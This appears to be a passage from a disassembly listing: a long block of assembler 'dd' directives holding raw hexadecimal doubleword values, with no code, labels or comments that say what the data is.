		dd 0D47E20D8h, 4C09A4F4h, 5A4BB06Dh, 89C49CD0h,	0A890588Ch
		dd 30C5A417h, 0ACA243B4h, 310C804Bh, 9006B20Bh,	8FAC785Eh
		dd 24749380h, 0A70CA470h, 0F1195C46h, 0D5F856FDh, 612F8461h
		dd 112CF84Ch, 0C50A65Bh, 2B9210h, 0B0A7A899h, 4B1438F0h
		dd 27483648h, 0D70860DBh, 0C8B34B13h, 2B1FED18h, 0D8F5AF34h
		dd 71E5F0E0h, 8CA695F7h, 0E23798B5h, 0E6208B6h,	0CC6868ADh
		dd 60787D5Dh, 0A852842h, 349205BEh, 0EA023CBEh,	817CCF3Bh
		dd 25051808h, 0B7341D70h, 0C0D249Ah, 871C1C11h,	38852F17h
		dd 8CF1F020h, 6968BEDBh, 0D858E040h, 0EAB31815h, 33F81770h
		dd 76624C82h, 1DCC6424h, 0F8289300h, 92B15276h,	880A0080h
		dd 496B6DD0h, 9A4F0F96h, 0F4076C16h, 0DAD0275Fh, 807F3076h
		dd 7A1F81FAh, 0F3D24D5Bh, 9E17AC13h, 98F50C0Bh,	0C7C2D35Ch
		dd 50881061h, 0F06F71E1h, 8AB1ED00h, 2032BCCBh,	56B22477h
		dd 8058A988h, 0DA7219F3h, 734D7849h, 0C0AF3034h, 95664E11h
		dd 3F325C18h, 821E4098h, 0F7805FDEh, 197AA963h,	72502698h
		dd 0AC6500B4h, 78F192B9h, 9A4CF50h, 9311F638h, 3480B077h
		dd 0F0EFBBE5h, 961CB25Bh, 0B4446B8Ch, 0D8942048h, 98B27890h
		dd 0CE0CBE24h, 4EB92B40h, 3FFF7844h, 0B0936000h, 603F7728h
		dd 12F6D009h, 0E30F1E2Ah, 989DF12Bh, 0BFB6A678h, 0A85DC82Fh
		dd 91710EC4h, 0D1B2338Fh, 74199B0Ch, 8009A328h,	2BEE10Ah
		dd 0E0825960h, 0A03081B0h, 288C7ECh, 9C3954E2h,	0C6E2BC9h
		dd 456584Fh, 5F835C80h,	0BFDF7E11h, 8A7FD602h, 864CEC83h
		dd 0F00B2190h, 0A0783A33h, 576EB8A8h, 0F54E0260h, 212708EFh
		dd 2445F87Eh, 0F3F5B4F1h, 0F1188708h, 12406CBFh, 4A540001h
		dd 0EFB00FC5h, 7D1D3568h, 0EB65D8F1h, 0C5C3DF64h, 23100958h
		dd 8C02A0Eh, 7109F0E0h,	846D9632h, 48A06FC1h, 535F16CAh
		dd 7D5C003Eh, 484C5ACFh, 5549E090h, 0E4285A50h,	1E4A00F9h
		dd 370DB056h, 4E5EEBF1h, 9110420h, 7A0A1259h, 74C4C2FAh
		dd 5AE93054h, 8B0621Ch,	0B8F1AF78h, 332CA681h, 0FDF0F5E2h
		dd 11FE5EEFh, 18848C8Ch
		dd 3144E015h, 0A27EB025h, 0D965852Ch, 89FA00E0h, 977A4443h
		dd 9149CF1Eh, 0F22B9389h, 10662D10h, 401D1C54h,	849272CFh
		dd 0C0816EF5h, 0A27C5E9Dh, 0A3621600h, 94E01E3Eh, 5D012F02h
		dd 0C004DE4Ah, 20D2CA7h, 783DA634h, 0CEABCFCh, 13D80860h
		dd 48F30B16h, 0EC1C846h, 0E1F81BC8h, 66C7289Eh,	6271B074h
		dd 3920ACB8h, 29880A7Fh, 126C9987h, 0B6ACF0FDh,	1B46458h
		dd 656CF99Fh, 42A9207h,	0E23CEE10h, 0BC308064h,	6F3D0FAFh
		dd 9E264094h, 2F24911Bh, 0AD804C5Dh, 325B0144h,	8C1A0389h
		dd 0F9E15645h, 733D2FF8h, 71A96200h, 0B94A6A29h, 0A97172Eh
		dd 1134907Eh, 0F1176359h, 0B02393B6h, 9216C184h, 4A71080h
		dd 0B6641C55h, 3272EA00h, 76A9482Fh, 0C4712ABh,	2EEC000Dh
		dd 0CDFBF7EFh, 7C911A2Eh, 0DE710E00h, 92BB76A4h, 0B15890E4h
		dd 58AD8154h, 7944607Fh, 9A0840B0h, 0E81CB825h,	59EC787Ch
		dd 74598098h, 853C3C4Eh, 73BF8407h, 0C4DA6F0Eh,	0AA5DCF07h
		dd 58FDDE4Eh, 40A90EACh, 6B31C02Dh, 1EE08195h, 9F5B65DAh
		dd 5691CFEFh, 0EAB44B60h, 0B2006F6Eh, 855292D2h, 4A0E244Ch
		dd 307887C9h, 8025EED7h, 8E5FF6F8h, 4F2CF020h, 81AD4E1Dh
		dd 3A794Ch, 205F659h, 7884E686h, 70749636h, 284C9EC2h
		dd 83860BFCh, 74A26072h, 7611247Bh, 0F6ECC5D2h,	4C7F271Ch
		dd 2D0B2668h, 0A2E34000h, 0EFE2FFBh, 2CC1DA24h,	0EF072606h
		dd 0FF8D0064h, 10484E5Ah, 313A7233h, 89530579h,	0A4D97873h
		dd 5154E0h, 0F4E38A5h, 9E575234h, 0DF74351Ch, 0B06F8F85h
		dd 98F3CC12h, 535AF1C0h, 0D4EAF082h, 6DF25100h,	5F7EB32h
		dd 50119D20h, 441C2019h, 6BED2C16h, 0B8DDCB0h, 16F63E88h
		dd 2885E882h, 0B28030C0h, 9A05FAF4h, 3B387F71h,	0E4A8A484h
		dd 0F95313Fh, 891FB4E9h, 0F299BC5Bh, 5538F4F6h,	0E3C43D4h
		dd 10005E7Ah, 7032BE97h, 2D793995h, 3CC463C9h, 849B202Fh
		dd 94BC2174h, 0EC6EB025h, 5BDB9912h, 6341D844h,	871304E7h
		dd 1B8A0FFh, 2E802D40h,	6B78A938h, 367D0C98h, 895AFD3Ah
		dd 784AF15Fh, 681009Ch,	6EBCE587h, 0F0027B69h, 53CEE8F3h
		dd 77F284EAh, 8050D8FDh, 80730192h, 0F5785843h,	23588261h
		dd 418ED903h, 2D70D334h, 0BD562C7Fh, 76D505D6h,	0B004E0A8h
		dd 2E44A8B1h, 0C7C550C3h, 15537631h, 0A0205C75h, 99170AACh
		dd 2D430E8h, 47F2772Fh,	180264ECh, 363D80C0h, 8F8054F1h
		dd 8111F465h, 0EBB29A1Dh, 9012F808h, 30F428A0h,	0A870C20h
		dd 0FF20793Dh, 9DE88860h, 53EEDEFh, 960F674Eh, 0E7E80438h
		dd 4CC08283h, 62002864h, 0A987C02Bh, 306A8C99h,	0BE185AF7h
		dd 0B10046DFh, 0B29C828Fh, 0A9FFF2h, 0F70778Ah,	9813E486h
		dd 78663A05h, 88CAB06Bh, 18E4A92Dh, 3B67B894h, 40EC51F5h
		dd 0ABA36820h, 874B28C6h, 977B34D0h, 899C9C73h,	0EC586D0Eh
		dd 1D288F9Fh, 0DC41C292h, 6EB27702h, 0E084408Fh, 410E3740h
		dd 974E9CF1h, 8F4C3410h, 6C0BB75Bh, 1E870FFh, 0D4370CBEh
		dd 40F2407Ch, 4D987A84h, 0F769E900h, 2D772B16h,	8D60C08Ch
		dd 2C36575h, 9A297B0Bh,	0AC2C080Fh, 2CE0CC13h, 0F5742818h
		dd 48519FE0h, 2CA47316h, 0F2DE300Eh, 45F7B3C8h,	3012B77Fh
		dd 0C8C00378h, 125CEDDFh, 46B3692h, 0A59BE950h,	6420E8A8h
		dd 0B0076C98h, 569F7BFCh, 78A7F6A1h, 0FC0C0844h, 4C932935h
		dd 21DFA073h, 38E45F13h, 457A4AD5h, 0D5FD1804h,	8100F278h
		dd 7C290E22h, 5B01F829h, 327D81ACh, 0F7C7C84h, 0BEE5869Ch
		dd 788EFF01h, 277B393Ch, 0E18286A4h, 40043524h,	7CCF08h
		dd 75A7F336h, 64178139h, 4127D25h, 722F6CF1h, 1801ABF4h
		dd 0DC503FB2h, 748BAAh,	4E135C38h, 0FFF6616Ch, 8018292Dh
		dd 458859C4h, 779498F9h, 4ACBC0Ah, 0A8998B31h, 68444BD8h
		dd 2890830Eh, 3376E7B8h, 6DB0C3AEh, 3430198h, 24947500h
		dd 0A1D88F62h, 6B04E20Bh, 0F0658825h, 8250852Dh, 0E0DC16BFh
		dd 700B7C4h, 7FF0AD08h,	257D1D39h, 0FC022BF1h, 48E1FF4Fh
		dd 76A80067h, 136604F7h, 0AC320E2Ah, 0EB5100B4h, 8EDFE358h
		dd 1B90B8DAh, 701179EFh, 6EE130AFh, 18253165h, 0AF2C0496h
		dd 46A8ACD1h, 0F8E8383Eh, 405A65Fh, 5CAC010Eh, 6B2D7A02h
		dd 30568A12h, 0F61AD502h, 9F2CC03Dh, 45A0014Bh,	0DF290482h
		dd 80B3D180h, 0C72F2A1Eh, 287E2836h, 90DCAE31h,	983424D4h
		dd 640EC144h, 94443F20h, 0C0A8F476h, 1DBCFA00h,	0F3A03808h
		dd 82A64300h, 920BF05Fh, 0A54A075Ah, 80EF0428h,	8CFF7908h
		dd 0A6FBB200h, 6E97EA7Fh, 8C920Fh, 18613563h, 78A80636h
		dd 0C40E08A0h, 0A09C0197h, 0FD4079FEh, 2525505Ah, 2860ED0Bh
		dd 99008849h, 0BE28E7B2h, 0FE3EF6B4h, 96094ADh,	0DC00FB67h
		dd 8D205B82h, 75133A00h, 0BFF17ABAh, 74214E2Ch,	3B5CE320h
		dd 0A4005F0Eh, 0D9C259CDh, 0BD0D0C9Fh, 86B80924h, 2E0A25h
		dd 0C987AE6Ch, 3CB4B13Bh, 8E0F1A79h, 0E027405Fh, 7880D355h
		dd 0B60091B2h, 1E00824h, 858FDD22h, 3E6DF00Fh, 7020384Fh
		dd 45761882h, 0F161B05Eh, 4420642Dh, 7A05003Fh,	8F5DAB5Ch
		dd 0E25419Bh, 4B10E0B4h, 9EF73EE8h, 0C64CCDBh, 24B45478h
		dd 2258016Bh, 0D8A78081h, 0AF13E816h, 0F072512Bh, 0B694E9AEh
		dd 0F8DB0860h, 0B7F2C5Ch, 4C960144h, 0E68FA860h, 5D0240ECh
		dd 2634AE11h, 5020DE46h, 0E5E818h, 300E5793h, 0ABC80A95h
		dd 63F007EDh, 994401BFh, 206A5FA8h, 3A8E86FCh, 37F9710Bh
		dd 0A6BC60D6h, 0E1E8080h, 60124930h, 99D1A0h, 0F058BA47h
		dd 0C3392811h, 4D183617h, 658EA8C0h, 4048BC78h,	93441158h
		dd 7F480812h, 54E75B09h, 37FD0990h, 1F04A4C6h, 7BA811AEh
		dd 614E208Ch, 8384B0A4h, 15FDE0Ch, 630A8030h, 29211881h
		dd 34050F88h, 0E848B2B4h, 0A12570B8h, 34D0906Fh, 0C058814Bh
		dd 5962D176h, 7931FA60h, 80B1210h, 0AA1675D4h, 5149C044h
		dd 2D56408Ch, 0E8854278h, 8BBC715Eh, 79280094h,	0A98C310Fh
		dd 0E8D55880h, 153952FBh, 0EB2806Bh, 779085B0h,	2E249A82h
		dd 0BE5ECC9h, 70A20878h, 0D761F5B5h, 0A3EEE02Ch, 53F90F13h
		dd 2F77EC9Ch, 0BCB85FC3h, 0E400B1A9h, 363BF13Ah, 0A279A7FFh
		dd 1E9C0208h, 0D6C082D7h, 0FFC0408Ch, 0F0578081h, 41371406h
		dd 0A86395h, 6FED7220h,	3EE7851Eh, 0D5A0E1E3h, 0D99F3077h
		dd 0D84E767Ch, 0F4197088h, 9A5F0Ah, 0A5133508h,	703C8516h
		dd 0FA8C9EFDh, 712D7C40h, 3B486358h, 24CFE911h,	14BC8020h
		dd 4C2D7B42h, 8404306Fh, 0BCBA30E5h, 88F3F0AEh,	0D148A90Ah
		dd 0B409DC4Ah, 150E433h, 21AB1DD8h, 12BCA77h, 17AB09Bh
		dd 4D64AA6Ch, 0A0FC48FCh, 6339F607h, 3B81330Ah,	847EEB3h
		dd 7830C0A9h, 34839D10h, 98A08E69h, 0F1138C32h,	78E2D77Ch
		dd 0AE228502h, 9CDCA818h, 593C4D62h, 45DF0030h,	0AA3E8F8Ch
		dd 42D4D712h, 4A0EF498h, 0E3C4A0D5h, 6696400h, 27E98096h
		dd 9B4E0385h, 5F7B77Fh,	0AEA91388h, 0EE1F6701h,	0F1799306h
		dd 27D454CAh, 1827B4E6h, 95EC586Ch, 816F8010h, 0B9C984B8h
		dd 7C643080h, 4B781459h, 9301ECC7h, 0F7EB881h, 0C0122FD1h
		dd 8C02AC16h, 446F913Dh, 0F758F08Ch, 0D5B3E880h, 4B426343h
		dd 0C4DD1900h, 528254A4h, 347630EFh, 6D9E6A69h,	365A9300h
		dd 601771B8h, 0A6AD258Eh, 49D4AC82h, 1827FB0Ah,	0F0800EFCh
		dd 4284916Fh, 0FC0A575Fh
		dd 0B880518h, 2CF09F02h, 0B8E098BFh, 772C12F6h,	0B648E04Bh
		dd 927BF43Bh, 40B4719Eh, 9311CB7Ch, 0BA42E0F1h,	41605EA3h
		dd 2017AA78h, 753C9C00h, 92ED165Bh, 489A0C62h, 0BA120E3Ch
		dd 0DB590F34h, 3AC5E51Fh, 0D0E0846Bh, 38154CB0h, 33FD3Ah
		dd 0F6579912h, 260A871Eh, 60D446D4h, 0AB76C26Fh, 205061E1h
		dd 5C4B40A8h, 14836488h, 7831745Eh, 0F12CDF0Bh,	690830D2h
		dd 3D353953h, 28994D00h, 8801F820h, 74A3264Ah, 59950B1Ah
		dd 2CDCC032h, 27FFEA8Bh, 0A846490h, 9C9060F9h, 770EAA02h
		dd 9881AE6Fh, 968CB38Dh, 80528530h, 548C10BEh, 0EF64984Bh
		dd 0B62EF742h, 4BB19644h, 0A8E1B964h, 0F8982B53h, 60389FB2h
		dd 174045F1h, 8AE1F09h,	3C436DF0h, 9128B000h, 0E97F7C06h
		dd 18340990h, 5C80E448h, 5A23C0E7h, 46786809h, 27947179h
		dd 0A8586802h, 9EA3610h, 0F8B787Fh, 853B80C1h, 649D0E28h
		dd 0C0ED2494h, 0EB08CC2h, 7E3C8860h, 31077B78h,	33C66693h
		dd 0C0EF6242h, 80AD04D4h, 22002ADAh, 74A945D6h,	48134BA7h
		dd 732C54FAh, 13B1FADh,	539C4C8Ch, 47887033h, 0A625FD0Fh
		dd 0EC0F972Fh, 2D837EF3h, 0C5EB783Ch, 764F3088h, 28E4B851h
		dd 0E48C8EA3h, 0D8AD5D0Eh, 8DE96B0Eh, 0E1FAA0C0h, 0BD135F5Ch
		dd 448204D6h, 268C4C7Fh, 8028A13Fh, 1BD15CA0h, 0E8073902h
		dd 0E73C8F4Dh, 0AEB88E90h, 0FE6B00BDh, 218C8B68h, 38F0D024h
		dd 25EF4003h, 0C7EE046Fh, 0BC3BA3E0h, 3D1EF8A2h, 8996D52Fh
		dd 0D3A20DE7h, 70C0CB30h, 6AE41CC1h, 800C3D3Eh,	1EEF1F2Ch
		dd 0E7BB32h, 0D18FBEC2h, 0E8388E83h, 975DC600h,	39CB8769h
		dd 0ECCD00B9h, 3C0DAB02h, 0C660D198h, 0AE54F529h, 6B9D001Dh
		dd 833FA78Fh, 1E002C3Ah, 0A3F83E33h, 697F91h, 0EE82F794h
		dd 4835F4AEh, 27391E00h, 0B979D2FBh, 0A04D03B5h, 23ED477Ch
		dd 6B9C5806h, 3060AD3Ah, 8C10D3D1h, 0F400B1A3h,	4A9E79A8h
		dd 0C0EABB22h, 557770E0h, 28C0CBE7h, 0C7C1ECC8h, 86DF3E9Eh
		dd 0A0E8CC1Bh, 0EEE004D3h, 2601ED24h, 863B5C80h, 20839647h
		dd 940C64F4h, 67D1180Ah, 0F80EC805h, 71DFA069h,	0EBDEBBFh
		dd 68A55F1Dh, 0D3B8DE20h, 14008BB1h, 0F9506D44h, 3054A3CCh
		dd 0B870F87Dh, 0EB03B5AFh, 0EC86061Fh, 0CA6818BEh, 0D4B9A1C7h
		dd 80C0A16Fh, 505C8826h, 0F811C09Eh, 0F9D2108Ch, 301E8940h
		dd 8AC93D2Eh, 901211E7h, 9100423Ch, 0AD86445Ch,	0EC20C7D0h
		dd 38282CFAh, 8FB16F01h, 7E1FD194h, 5B5E4882h, 0ED403A3Bh
		dd 4A1C7BFBh, 8646C241h, 0A40ABBFh, 0DD4EA0D1h,	480B18BCh
		dd 51DCEA3Dh, 0B98F8646h, 0FCC30229h, 4FCC54C1h, 64CB40Fh
		dd 7D1C8647h, 56C0028h,	21BDFB42h, 48C3B51Fh, 0C18FC971h
		dd 1087C4B6h, 1FA18269h, 2DECFF61h, 33D740C0h, 61F48CEAh
		dd 0F4FCE501h, 769D223h, 0E09CCC40h, 86EC0C5Ch,	0D368C734h
		dd 0D920A800h, 9A6F956Bh, 38333155h, 49A08898h,	912CD0ACh
		dd 347E690Eh, 0ECF3C0A5h, 2EAD3119h, 0B567DE1h,	5B006D49h
		dd 379B21C1h, 8CA06C60h, 3A26190h, 0EE202CF5h, 36805B1Eh
		dd 2F0FB383h, 0C0C0EFC8h, 8D960590h, 0DA4D03A2h, 55C6A5F0h
		dd 0C08AD1C8h, 582080C0h, 2B9713Dh, 0C15D378Fh,	4C48C36Fh
		dd 0E8A9ECFCh, 8B8FF073h, 0C7FE5012h, 39181058h, 65FA3086h
		dd 44359BF0h, 38F5C907h, 0C341A1D0h, 8CC4C1F4h,	68861446h
		dd 0ED12942Ch, 3B0820FCh, 50DE9458h, 0DC2B540Ah, 10A9B989h
		dd 912D1E44h, 50BF1834h, 0E10739C7h, 14F1369h, 25158A10h
		dd 55B90F51h, 0C260D865h, 0D1F808E1h, 0C4D33626h, 80EA3803h
		dd 8130074Dh, 9330252Dh, 121D199Bh, 0B2CC5157h,	37530E9Eh
		dd 0E00A05BBh, 1CFDF082h, 0C02B030h, 77DE1948h,	56D8010Eh
		dd 0DC0B27BEh, 22C6F818h, 0F7030F1Fh, 83EAF083h, 84420F1Ch
		dd 5E0605C2h, 0F8397F86h, 0A6D09E94h, 1658F5CCh, 0ED8401ADh
		dd 0D8A6703h, 0C71AF525h, 69521A00h, 2B4D6AD8h,	67A9F85Ah
		dd 0F35B189Dh, 2E148CC9h, 0C59C582h, 0A10BCEAh,	0BF000BAh
		dd 0DAF82523h, 300E2C2h, 0D541EA82h, 7547078h, 0E840AABCh
		dd 0F6B7B328h, 22A40E87h, 0B8BF00DCh, 5ACB52h, 418E782h
		dd 0DFF859F4h, 0F7004779h, 0C862B821h, 0F25FF68Ah, 660B09CEh
		dd 0AC8045ADh, 165D7EF0h, 9205E6F8h, 46653B6Dh,	2AF89401h
		dd 356045DCh, 0CE1A65Fh, 804BEA58h, 0DB61DFC7h,	52F68286h
		dd 0C07C5020h, 6C46254Ch, 1BB0692Ch, 58E83FD0h,	0DA5E2A67h
		dd 1F87C752h, 5D833588h, 3C093269h, 14F33D2Fh, 0F4C882E8h
		dd 0E14806D1h, 0CDE5D2Bh, 0C4277B4Ch, 1E953100h, 5CDF0250h
		dd 22E762C2h, 8C0308D3h, 988C1925h, 215FBEE2h, 678295C1h
		dd 0E5607ED6h, 0F8FE88B9h, 8C08D0D8h, 0F6DC9400h, 3502EA34h
		dd 8E024591h, 409E6CE2h, 0E065B39h, 526B4842h, 0FE2762A1h
		dd 0E0F9F564h, 65418EEAh, 15DDDBE1h, 0F681F187h, 81EF64FAh
		dd 592831Fh, 0D4693346h, 0A683F1B9h, 5C318DB9h,	0B06E80CCh
		dd 1450FA46h, 210981C1h, 18A0D90h, 8CC23265h, 0FFE32ADh
		dd 8E33193Dh, 0C436748h, 0A67E6EDh, 72AFEA55h, 723D9290h
		dd 0DD405658h, 3FF80CE4h, 7E452A3Ah, 43905906h,	80068231h
		dd 61ECEA0Fh, 0B7103657h, 0FE03E0C1h, 0F85DB4A1h, 0CCFE6F9h
		dd 43E18557h, 9AF34827h, 0C112002Bh, 0C48103E4h, 0D9148904h
		dd 3D641D8Ch, 5831E121h, 0B266055h, 0EA0C8430h,	66C0F1FBh
		dd 0BF57EB02h, 390D1F9Ch, 0EDD14C40h, 0AE24691Ah, 57674D4Ch
		dd 3C039390h, 9E5F4949h, 0E9180C0Eh, 0EEC00171h, 0EA19E666h
		dd 1D24F8D9h, 6E417C2h,	30040282h, 95837757h, 37A80790h
		dd 5950C42Ah, 406404FCh, 7E99E76Fh, 8422EFD9h, 18088A8Dh
		dd 0EA105615h, 0EC465877h, 0C76D8214h, 1E350717h, 3CF2A31h
		dd 20B452A6h, 10685D02h, 5C4A0C28h, 0C6811A20h,	78322347h
		dd 0E2D9F230h, 0F5ED8256h, 0F414CFAh, 54805036h, 74EAC601h
		dd 0EB6A2430h, 1D245E78h, 0CF9AD212h, 40221A47h, 63436924h
		dd 2A7C276Fh, 0E9D10A03h, 77AB353h, 0E1C15B0Ch,	9603F03h
		dd 0EB810C05h, 0C328400Eh, 8B475D80h, 0A6F12404h, 0A9C7FFFCh
		dd 0A8CD896h, 701A1487h, 243D8849h, 9B3C2683h, 80127555h
		dd 605A66D0h, 80857251h, 0C01D4ACBh, 0F38005EBh, 0DA8852E2h
		dd 375937E9h, 0BDC64E30h, 0F1F0C40h, 1D8CC0B6h,	181106Fh
		dd 7E4C48EAh, 0F4D62949h, 1BDB73BAh, 68737B78h,	430BA146h
		dd 0AC180C33h, 0C2335A82h, 26700383h, 51F20102h, 832518F1h
		dd 241C871Ch, 2163C95Ch, 30EC2F95h, 0A6C3818h, 81A28B66h
		dd 2C890F10h, 0EDE5CDF3h, 2016A3C5h, 243C0D3Fh,	2F801283h
		dd 7D57DABDh, 0D86EBF31h, 5DEFC40Bh, 2B957380h,	0F7280319h
		dd 3CE6E9D9h, 0EDBB4603h, 0D10D6765h, 1480934Ch, 75427268h
		dd 9985A51h, 14A053Ch, 2AADF281h, 0CAD950E1h, 7B05087Ch
		dd 59710FE9h, 0B731928Eh, 0B0E30D06h, 0E6AF0A92h, 55FC681h
		dd 4451BF68h, 0A419D84h, 0F48AAE8Bh, 7A28BCF0h,	0BD610B00h
		dd 3ACB8176h, 0EC7DE20Fh, 6F3F01F3h, 0DD017FBFh, 5CB4458Bh
		dd 5197E81Ah, 0DDF38887h, 628AAB29h, 0BCF85568h, 17B8F07Dh
		dd 0ECA913DDh, 3D907840h, 84C3FE7Ah, 0C1505BB3h, 329465E8h
		dd 10A26BAh, 417A5AD7h,	0BE0980E9h, 0F00C701Ch,	0E5444D68h
		dd 50DE68D9h, 0A021EA8h, 0BE494B81h, 237874B4h,	4CD5C381h
		dd 61186CF8h, 621E1F06h
		dd 0F8105C29h, 880CA444h, 6A42E981h, 3928570Ah,	2050E2A4h
		dd 0C836459h, 0F1B79133h, 0B3030446h, 0A91E4C4Eh, 2F4D821h
		dd 0BDACC0F3h, 2B8334CAh, 5DE8311Fh, 991DC04Dh,	3B0F67D8h
		dd 0C100566Ah, 9E51507h, 1CD0D129h, 141C6808h, 660C5A1Fh
		dd 6595ADAh, 29685051h,	0D581B131h, 232CDE9h, 0E8B398BDh
		dd 49347FFFh, 878EC45Dh, 4AAE48B2h, 78FA8B94h, 91AB58D4h
		dd 4C0514A7h, 54508709h, 0CD014CBEh, 0E4C0CC2h,	5B6B7D16h
		dd 29B808Ch, 0D8D2A452h, 410CCE25h, 8E092CA3h, 18476268h
		dd 905F54CEh, 2CE309BDh, 1006232Dh, 0CD852029h,	6D224924h
		dd 4E501441h, 36E95854h, 0B81C3DB8h, 0BB80B57Eh, 0F76C28F0h
		dd 0AACB1CC1h, 80105D11h, 8820AC3h, 682CE9A9h, 0C0A80C54h
		dd 7B65BE90h, 85505B10h, 43379274h, 0E94602A4h,	0F737D389h
		dd 5A9304DDh, 29122834h, 815E0084h, 6F3561E6h, 0CEEE4E2Dh
		dd 124CE509h, 0EE2D002Ah, 183E4960h, 38769EE9h,	36C0F721h
		dd 0C03A17CFh, 1C7EC0Dh, 7FEB0E6Ch, 0B109C9E9h,	19DFFAEDh
		dd 946B902h, 0A759CF2Eh, 4170A807h, 8EEC150h, 4960E7D1h
		dd 5C26C018h, 5D82959h,	8B34D51Dh, 62D555DFh, 0DFCB40C0h
		dd 2F7BED90h, 16430630h, 0E6172BFh, 0EF81443Ah,	203D5663h
		dd 7187F7B0h, 0AA113E30h, 18D7743h, 3EFC150h, 33122EE9h
		dd 9F4B9F71h, 1C7024ECh, 7A4704h, 0EE80D6F6h, 0E3C6E6BFh
		dd 0C144E6D8h, 0F708980Ch, 69BFF5Ah, 0C7E9F880h, 427025F5h
		dd 34B15608h, 870C8983h, 0FC882234h, 1835008Ch,	6775DE61h
		dd 92521F0Fh, 85D3E669h, 4222F11Eh, 4ACC889Fh, 2E3C104h
		dd 7480B3C0h, 1DA3931h,	0BC1D5B26h, 980D066Dh, 0E135996Eh
		dd 5FE9007h, 9E72D234h,	99D41089h, 3FFEB600h, 8BF9299Bh
		dd 0A9998D90h, 0D2063166h, 66DC490Dh, 78B48EACh, 0E6C080h
		dd 0BCF68004h, 885AF028h, 9758C53Ch, 0A60A46CDh, 0A7A6C57Eh
		dd 0B09E005Ah, 90C68869h, 0DCFF282Ch, 1824A2CEh, 0C0ED7281h
		dd 515E5F16h, 6B07BD55h, 8963542Fh, 3DE05DF6h, 310BCDAAh
		dd 3382CB29h, 0D09B921Fh, 6301D1C1h, 0D2D9D987h, 0E99CD683h
		dd 6E49D416h, 0E2247829h, 0D080B639h, 2D02E8C1h, 731201A5h
		dd 8A0F0508h, 609C70EAh, 0BDF39D0h, 84576F19h, 23C4DAE9h
		dd 555B0805h, 0ED211FCBh, 7D48E906h, 0CE1C41A9h, 8388550Ah
		dd 0DFBB0023h, 297F1572h, 0C15DEB1Ch, 0E307F2EEh, 0AE318106h
		dd 0B647C85Fh, 0E26B5C92h, 44140B6h, 0FBFF03F8h, 0E95BD801h
		dd 832D95BCh, 0D3E8E8Fh, 697E105Fh, 0E0895004h,	0C06A8C05h
		dd 0AF32C3B0h, 4380104Eh, 79F1992Ch, 14BCA2C2h,	8B68020Bh
		dd 0BC8925E9h, 76F416BEh, 3515EF60h, 0BB661836h, 0CAE90B16h
		dd 3B27274Dh, 33C5B0C6h, 1EE6BF57h, 0CC1BBC66h,	0BE166AA5h
		dd 712AFD07h, 2BB2530Eh, 1260823Ch, 0B25DE694h,	0B12C0E41h
		dd 2CBDF828h, 0E33F1833h, 7204F7B8h, 0C289408Fh, 0C84E78Eh
		dd 224197Ch, 0BFC15612h, 7431B23Ah, 600DC057h, 5C0C90E7h
		dd 0E604D65Ah, 0CB25856Ch, 936809F5h, 80032220h, 975C045Ah
		dd 1CBF929Bh, 68C5010Fh, 48281876h, 12B6818Ch, 67CB1303h
		dd 54FE0E9h, 1D95F69Fh,	0E6FA8093h, 0EC3E74D5h,	2AEE0075h
		dd 0E9187D91h, 700C4915h, 1BA4DB24h, 0E610AEEFh, 0CD5085F4h
		dd 0DB2E6AD6h, 0A6A22E24h, 1B0A0AB8h, 0D8BB60F4h, 157DDA10h
		dd 388FB325h, 5C036890h, 83CD2F58h, 0F436FFBCh,	0AB2E6315h
		dd 0A7C2DA13h, 2967AD8Ah, 1E53B9Ch, 74E3BA52h, 42571412h
		dd 165B59B3h, 58C38984h, 8DE993D0h, 0A0B3B20Dh,	7D4D5CC9h
		dd 0D0092EB6h, 5AFC481Eh, 0FF290612h, 0CFE91722h, 6505FCA0h
		dd 327D3B48h, 4E91C57h,	2852E950h, 0B11E29A2h, 68B0C056h
		dd 2C06E8C0h, 0C1502E98h, 3341D1B1h, 0B9622BF8h, 4014A558h
		dd 67FDBD04h, 0A7CB509Ah, 4C2AD758h, 0B9660E39h, 4187724Bh
		dd 0CEBA7152h, 0E281EC53h, 3A773B3Eh, 9806BEC1h, 0F218D2F7h
		dd 1B3E7CC4h, 385AD121h, 33E9160Ch, 20C90A6Fh, 0C11842B4h
		dd 0C82A7FCEh, 0F2DE24E9h, 1CF0261Dh, 2514F15Bh, 5A8C8798h
		dd 7882C328h, 7A6407h, 4B1F5F85h, 525DE801h, 64592AFEh
		dd 88D30FC5h, 0A2052BDEh, 83875D74h, 9CD25C86h,	0D142D4D1h
		dd 0C9F73101h, 92F0D1FEh, 0CACA8A16h, 1229A251h, 82C783C4h
		dd 4A80953Ch, 47602BC5h, 65345D7Bh, 8E815EE4h, 0C87DFD0h
		dd 3459CA88h, 2D1989D4h, 0D3DE1989h, 82305422h,	912F9ABEh
		dd 0EEA44FF5h, 70011356h, 340D2666h, 9A93220h, 460BBF3Eh
		dd 650CCE00h, 295C3FCCh, 117D41CAh, 29CBE9FEh, 20770BCFh
		dd 0CD53238Bh, 57823ED6h, 20F0E72Ch, 81F8B03Bh,	0B0702906h
		dd 5E562EE9h, 114780E0h, 0CE014558h, 38C596Bh, 0C843B1CCh
		dd 607FE9F2h, 245C3B94h, 74F85B08h, 78627796h, 6083421Bh
		dd 0C0B97CCh, 6C0111CAh, 2631E92Eh, 0EFB54022h,	4EF6F143h
		dd 9C2621A6h, 12A8F1h, 993CE20h, 0DBF6C3FEh, 0A20CCCCh
		dd 0B142587Dh, 8807ED38h, 0E2DAF71Ch, 0E2E4124Dh, 56E155A2h
		dd 851F4468h, 0E7B34403h, 8F5D044Dh, 4E9256B1h,	64F39802h
		dd 0E9F674B8h, 0DFD00F26h, 857627BBh, 7E86BD21h, 8155280Ah
		dd 121A05C0h, 25A0247h,	3B537683h, 0A4C5BA60h, 0F90BBE04h
		dd 0F3A043E9h, 1D407266h, 9331A205h, 0A7521401h, 73B8EB0Ch
		dd 2C490F0Bh, 2D901FD7h, 0E03F50DFh, 0E9D0293Fh, 0AEBB9A49h
		dd 7E6A2030h, 0FF3D5392h, 0CFAE1730h, 87F14C40h, 0BA69712Eh
		dd 417CFCF8h, 5E9E4030h, 47248F50h, 9DAC6F20h, 14A2D42h
		dd 3859CD01h, 95C01E2h,	0B7840FC0h, 77C87D25h, 73BD81Ch
		dd 54923E9h, 54044B55h,	5E0949F3h, 43613403h, 90226582h
		dd 0ECB2000Fh, 0AE14C280h, 18BBD328h, 0E6C1F57Bh, 576305F9h
		dd 0F1EEC178h, 0F67960DDh, 29303A0Ch, 245E4C2Ch, 0AC9236E9h
		dd 1E0513D8h, 0E6BC8DBAh, 84412C48h, 4162F98h, 687AB1Ah
